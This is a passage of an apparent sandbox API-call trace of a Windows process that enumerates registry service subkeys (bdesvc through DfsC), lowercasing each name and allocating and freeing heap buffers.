CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0243.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0243.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0243.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0243.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0243.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0243.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0243.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0243.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0243.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0243.146] 